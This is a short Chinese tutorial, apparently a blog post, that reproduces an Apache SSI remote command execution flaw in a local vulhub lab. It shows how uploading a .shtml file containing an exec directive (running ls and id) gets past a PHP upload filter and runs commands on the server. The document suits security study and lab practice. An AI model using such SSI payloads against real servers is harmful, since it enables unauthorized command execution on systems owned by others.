当目标服务器开启了SSI与CGI支持,我们就可以上传shtml,利用<!--#exec cmd=”id” -->语法执行命令。
使用SSI(Server Side Include)的html文件扩展名,SSI(Server Side Include),通常称为"服务器端嵌入"或者叫"服务器端包含",是一种类似于ASP的基于服务器的网页制作技术。默认扩展名是 .stm、.shtm 和 .shtml。
使用kali搭建vulhub,完成漏洞复现
cd vulhub-master/httpd/ssi-rcedocker-compose up -d
环境启动后,访问http://your-ip:8080/upload.php,就可看到一个上传表单页面。
正常上传PHP文件时不允许的,我们可以上传一个.shtml文件,test.shtml文件,内容如下:
<!--#exec cmd="ls" -->
成功上传,然后访问test.shtml,完整网站为:http://192.168.116.131:8080/test.shtml
再试试其他命令,上传test2.shtml,然后访问test2.shtml
<!--#exec cmd="id" -->
成功
参考链接:
Vulhub - Docker-Compose file for vulnerability environment
声明:
本文仅限于大家技术交流和学习,严禁读者利用本博客的所有知识点进行非法操作。如果你利用文章中介绍的技术对他人造成损失,后果由您自行承担,感谢您的配合,
作者创作不容易,请大家点赞收藏支持一下。谢谢各位读者大老爷。